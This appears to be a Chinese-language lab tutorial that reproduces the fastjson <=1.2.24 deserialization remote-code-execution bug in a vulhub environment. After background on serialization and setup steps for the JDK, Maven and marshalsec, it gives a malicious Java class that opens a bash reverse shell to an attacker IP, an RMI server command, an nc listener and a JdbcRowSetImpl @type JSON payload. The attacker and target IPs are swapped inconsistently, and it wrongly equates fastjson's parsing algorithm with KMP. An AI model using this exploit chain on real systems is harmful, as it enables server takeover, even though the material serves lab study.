一、漏洞描述
1、序列化和反序列化
1)序列化:将java对象转换成字节流的过程
序列化过程:是指把一个java对象编程二进制的内容,实质上就是一个byte[]。因为序列化后可以把byte[]保存到文件中,或则把byte[]通过网络传输到远程(IO),如此就相当于把Java对象存储到文件或者通过网络传输出
java对象是什么?
1.对象是由我们自己定义的类来创建出来的
2.对象实际上就是类的具体实现
例如:修建大楼时绘制的设计图纸就是类,根据设计图纸修建起来的真实的可以住人的大楼就是对象
类--抽象 [抽取象什么一样的东西]--模版[设计图]
对象--实现--实例[楼房]
3.没有类就没有对象
4.一个类可以创建出多个对象
5.类是对象的模版,对象是类的真实表现
对象的作用
调用类中的变量和方法
2)反序列化:将字节流转换成Java对象的过程
反序列化过程:把一个二进制内容(也就是byte[])变回Java对象。有了反序列化,保存到文件中的byte[]又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。以下是一些使用序列化的示例:
将程序的状态保存在磁盘上。例如保存游戏状态。
通过网络以表单对象形式发送数据。例如,在聊天应用程序中以对象形式发送消息
3)为什么需要序列化与反序列化
当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等,而这些都会以二进制序列的形式在网络上传送。当两个Java进程进行通信时,需要Java序列化与反序列化实现进程间的对象传送。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象
优点:
实现了数据的持久化,序列化可以把数据永久地保存到硬盘上(通常存放在文件里)
通过序列化以字节流的形式使对象在网络中进行传递和接收
通过序列化在进程间传递对象
注意事项:
某个类可以被序列化,则其子类也可以被序列化
声明为static和transient的成员变量,不能被序列化。static成员变量是描述类级别的属性,transient表示临时数据
反序列化读取序列化对象的顺序要保持一致
4)Java序列化如何工作
Java对象在网络上传输或则持久化存储到文件中,需要进行序列化处理。而且仅当对象的类实现java.io.Serializable时,该对象才有资格进行序列化,然而真正的序列化动作不需要靠它完成。序列化是一个标记接口(不包含任何方法),该接口告诉Java虚拟机(JVM)该类的对象已准备好写入持久性存储或通过网络进行读取
java.io.Serializable:表示序列化,是一个空接口,也就是说这个接口没有声明任何的方法,所以实现这个接口的类也就不需要实现任何的方法
2、fastjson介绍
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson是一个Java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到了极致,它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。
Fastjson是阿里巴巴的开源库,用于对JSON格式的数据进行解析和打包
特点如下:
能够支持将Java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean
顾名思义,fastjson操作 JSON的速度是非常快的
无其他包的依赖
使用比较方便
假定有序快速匹配算法:
假定有序快速匹配算法,简称KMP算法,是在BF算法基础上改进得到的算法。
BF算法:该算法的实现过程就是“傻瓜式”地用模式串(假定为子串的串)与主串中的字符一一匹配,算法执行效率不高
KMP算法不同,他的实现过程接近人为进行模式匹配的过程。例如,对主串A(“ABCABCE”)和模式串B(“ABCE”)进行模式匹配,如果人为去判断,仅需匹配两次
第一次如图1所示,最终匹配失败。但在本次匹配过程中,我们可以获得一些信息,模式串中“ABC”都和主串对应的字符相同,但模式串中字符“A”与“B”和“C”不同
因此进行下次模式匹配,没有必要让串B中的“A”与主串中的字符“B”和“C”一一匹配(他们绝不可能相同),而是直接去匹配失败位置处的字符"A",如图2所示:
至此,匹配成功。若使用BF算法,则此模式匹配过程需要进行4次
由此可以看出,每次匹配失败后模式串移动的距离不一定是1,某些情况下一次可移动多个位置,这就是KMP模式匹配算法
fastjson格式:
{
"name":"abc",
"age":22,
"sex":"nv",
"address":"shanghai"
}
3、漏洞成因
fastjson在解析json的过程中(反序列化过程中),支持使用@Type来实例化某一个具体的类,并自动调用该类的set/get方法来访问属性。通过查找代码中相关的方法(get方法远程加载恶意命令),即可构造出一些恶意利用链
实例化
1、什么是实例化对象
类是对象的抽象。对象是类的具体实例,需要通过类来创建
创建对象的过程称为实例化
意思是类是抽象的,需要通过创建对象(实例化对象)来使用类的功能
相当于创建变量,然后给变量赋值
漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机。通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改、增加、删除等操作,对服务器造成巨大影响
受影响版本
fastjson <= 1.2.24
实验所需
目标机:192.168.1.129
攻击机:192.168.247.135
二、环境搭建docker-compose,vulhub(在这两台机器上)
三、启动靶场环境(192.168.247.135)
1、启动docker靶场
cd /vulhub-master/fastjson/1.2.24-rcel
docker-compose up -d
接下来都在kali攻击机配置(192.168.247.129)
2、配置jdk1.8环境(这一步很重要,否则后续反弹shell会失败)
安装jdk1.8
直接使用下面地址下载java1.8
链接:https://pan.baidu.com/s/1afpJomQm38Jm-MzArTXjhw?pwd=hjzk
提取码:hjzk
下载后xshell上传安装包
建立目录,将下载的jdk的安装包复制过去并进行解压
┌──(root?kali)-[/home/kali]
└─# mkdir -p /usr/local/java
┌──(root?kali)-[/home/kali]
└─# cp jdk-8u202-linux-x64.tar.gz /usr/local/java
┌──(root?kali)-[/home/kali]
└─# cd /usr/local/java
┌──(root?kali)-[/usr/local/java]
└─# tar -zvxf jdk-8u202-linux-x64.tar.gz
配置环境变量(注意下面的版本号要与自己下载的相同)
┌──(root㉿kali)-[/usr/local/java/jdk1.8.0_202]
└─# vim /etc/profile
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
通知系统JAVA的位置
┌──(root㉿kali)-[~]
└─# sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
┌──(root㉿kali)-[~]
└─# sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
┌──(root㉿kali)-[~]
└─# sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
┌──(root㉿kali)-[~]
└─# sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
重新载入profile,使改动生效zheg
source /etc/profile
切换java版本为1.8
查看当前版本
java -version
切换版本
update-alternatives --config java
输⼊2,按回⻋
再次查看版本
java -version
java version "1.8.0_202
切换javac为1.8
javac -version
javac 17.0.9
切换版本
update-alternatives --config javac
输⼊2,按回⻋
再次查看版本
javac -version
javac 1.8.0_202
配置maven环境
Maven是一款服务于Java平台的自动化构建工具。Maven作为Java项目管理工具,它不仅可以用作包管理,还有许多的插件,可以支撑整个项目的开发、打包、测试及部署等一系列行为
传统工程我们直接把jar包放置在项目中,Maven工程真正的jar包放置在仓库中,项目中只用放置jar包的坐标。不使用Maven工具,当做Java项目需要第三方依赖包时,将别人打好的jar包下载到本地,然后手动指定给项目。另外,比如版本控制,需要新版本怎么办,重新下载,重新指定,这个过程操作麻烦。而用了Maven之后,直接在pom.xml中添加几行xml代码(添加所依赖的jar包的坐标),指定包名、版本等,就可以了,方便开发
安装Maven
下载maven安装包
链接:https://pan.baidu.com/s/1AfEtp6EdwyNskzsdHRGoKw?pwd=hjzk
提取码:hjzk
移动安装包到目录/opt下
mv apache-maven-3.6.3-bin.tar.gz /opt/
解压maven安装包
tar -zxvf apache-maven-3.6.3-bin.tar.gz
配置maven
vim /etc/profile
在配置文件配置中加上:
export MAVEN_HOME=/opt/apache-maven-3.9.6 ##这个⽬录换成你的 maven 解压后的⽂件所在
⽬录
export PATH=$MAVEN_HOME/bin:$PATH
配置maven mvn,根据自己的包路径修改一下
update-alternatives --install /usr/bin/mvn mvn /opt/apache-maven-3.6.3/bin/mvn 1
刷新配置文件让文件生效
source /etc/profile
这⾥当你执⾏完 source /etc/profile 后提示如下图,有⼀个 # 号显示,可以再#后⾯输⼊命令
查看maven 版本验证
mvn -version 或者 mvn -v
下载marshalsec
链接:https://pan.baidu.com/s/1fkh2XbyZFv_WJcVJzoQqIw?pwd=hjzk
提取码:hjzk
漏洞所需环境搞完
四、fastjson识别
访问http://192.168.247.129:8090,如下
使用curl向kali发POST一个JSON对象,响应包为自己提交的内容
curl http://192.168.247.129:8090/ -H "Content-Type: application/json" --data ' {"name":"Cwillchris","age":20}'
抓包修改请求方法为POST,最下面空一行添加{"name":"Cwillchris","age":20},即可更新服务端的信息
五、漏洞复现
kali攻击机新建一个文件,命名为HackerFile.java,添加如下内容
import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","baash -i >& /dev/tcp/192.168.247.129/5555 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译此java文件,生成class文件(恶意类,可被目标服务器加载)
javac HackerFile.java
在当前目录下/root开启web服务,以便于后续目标机反连加载恶意类文件HackerFile.class
python3 -m http.server 8000
浏览器访问http://192.168.247.129:8000测试一下是否成功
开启RMI服务,开启7777端口监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.247.129:8000/#HackerFile" 7777
RMI服务:为远程方法调用,是允许运行在一个java虚拟机的对象调用运行在另一个java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的,这意味着,RMI在接收到经过序列化编码的对象后进行反序列化
RMI是java中转为Java环境设计的远程方法调用机制,远程对象能在rmi服务器上注册指向web服务器
JNDI:是java命令和目录接口,提供了查找各种命名和目录服务的统一的接口。简单理解就是:java微服务中的注册中心
新建终端,开启nc监听(此刻监听的端口和恶意文件内写的端口一致)
nc -lvnp 5555
浏览器访问:http://192.168.247.135:8090,
修改包如下:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.247.129 :7777/HackerFile",
"autoCommit":true
}
}